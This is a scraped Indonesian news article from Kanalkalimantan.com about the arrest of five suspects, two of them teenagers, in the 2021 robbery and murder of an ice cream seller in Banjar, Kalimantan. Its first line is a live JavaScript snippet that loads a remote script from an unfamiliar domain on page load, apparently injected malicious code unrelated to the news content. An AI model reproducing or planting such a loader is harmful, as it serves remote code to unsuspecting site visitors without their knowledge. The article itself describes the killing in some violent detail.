(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dua dari Lima Tersangka Pembunuh Penjual Es Krim di Banjar Masih Remaja!


KANALKALIMANTAN.COM, MARTAPURA– Lima tersangka pembunuh pedagang es krim di Kabupaten Banjar, berhasil diamankan petugas gabungan 2 Unit Opsnal Jatanras (Macan Kalsel) Ditreskrimum Polda Kalsel, Unit Jatanras Polres Banjar, Polres HSS, Polres Tapin, Polsek Belimbing dan Polsek Loksado, pada Senin (6/9/2021). Dari lima orang yang diamankan, dua di antaranya masih remaja belasan tahun!

Mereka adalah AJ (15), AT (14), J (20), M (32) dan W (30), yang semua merupakan warga asal Kabupaten Banjar, ditangkap di dua lokasi berbeda. Yakni di Dusun Teranking, Desa Paramasan Bawah dan lainnya di Dusun Pematang Lahung, Desa Angkipih.

“Kelimanya diamankan hari ini,” kata Kasubdit 3 Direktur Reserse Kriminal Umum Polda Kalsel AKBP Andy Rahmansyah.

Para tersangka diketahui terlibat kasus pembunuhan dan pencurian dengan kekerasan terhadap penjual es krim bernama Sukirman (54), pada Kamis (29/4/2021) lalu.

Baca juga : BREAKING NEWS. PPKM Level 4 di Banjarmasin, Banjarbaru, dan Kotabaru Diperpanjang!

Kejadian bermula saat keluarga korban mencari Sukirman yang tidak kunjung pulang saat berjualan es krim.

Korban yang biasa berjualan es krim di daerah Paramasan, Kabupaten Banjar, ditemukan tewas dan telah dikubur di dalam hutan di Dusun Pematang Luhung, RT 03, Desa Angkipih, Kecamatan Peramasan. Korban menderita luka tusukan dan bacokan senjata tajam di sekujur tubuhnya.

Menyikapi kasus tersebut, Polisi melakukan olah Tempat Kejadian Perkara (TKP) guna menentukan dan mecari petunjuk pelaku. Dari situ, akhirnya terungkap ikhwal peristiwa pembunuhan ini.

Pembunuhan bermula dari aksi AJ (15), AT (14) dan J (20) pura-pura membeli es krim dari Sukirman. Namun saat korban lengah, AJ langsung mengayunkan parang dan mengenai punggung korban.

Meski sempat mencoba melarikan diri, namun korban tak berhasil lari jauh dan berhasil dikejar oleh ketiga tersangka. Hingga akhirnya ia dihabisi dengan tusukan pisau dan tebasan parang.

Tersangka mengambil uang milik korban dan kemudian dibagi masing-masing Rp 250 ribu. Sementara itu M dan W yang merupakan orang tua tersangka, ikut membantu menghilangkan jejak pembunuhan tersebut dengan mengubur korban di hutan. Pun dengan motor korban dengan cara dibuang di lokasi terpisah.

Dari tangan pelaku, petugas berhasil mengamankan pisau dan parang serta boks bagian dari sepeda motor milik korba. Para tersangka beserta barang bukti pun kini sudah berada di Polres Banjar untuk dilakukan penyidikan lebih lanjut.(Kanalkalimantan.com/chandra)

Reporter : Chandra
Editor:cell


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

2 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

2 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

2 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

3 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

3 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

5 jam ago

This website uses cookies.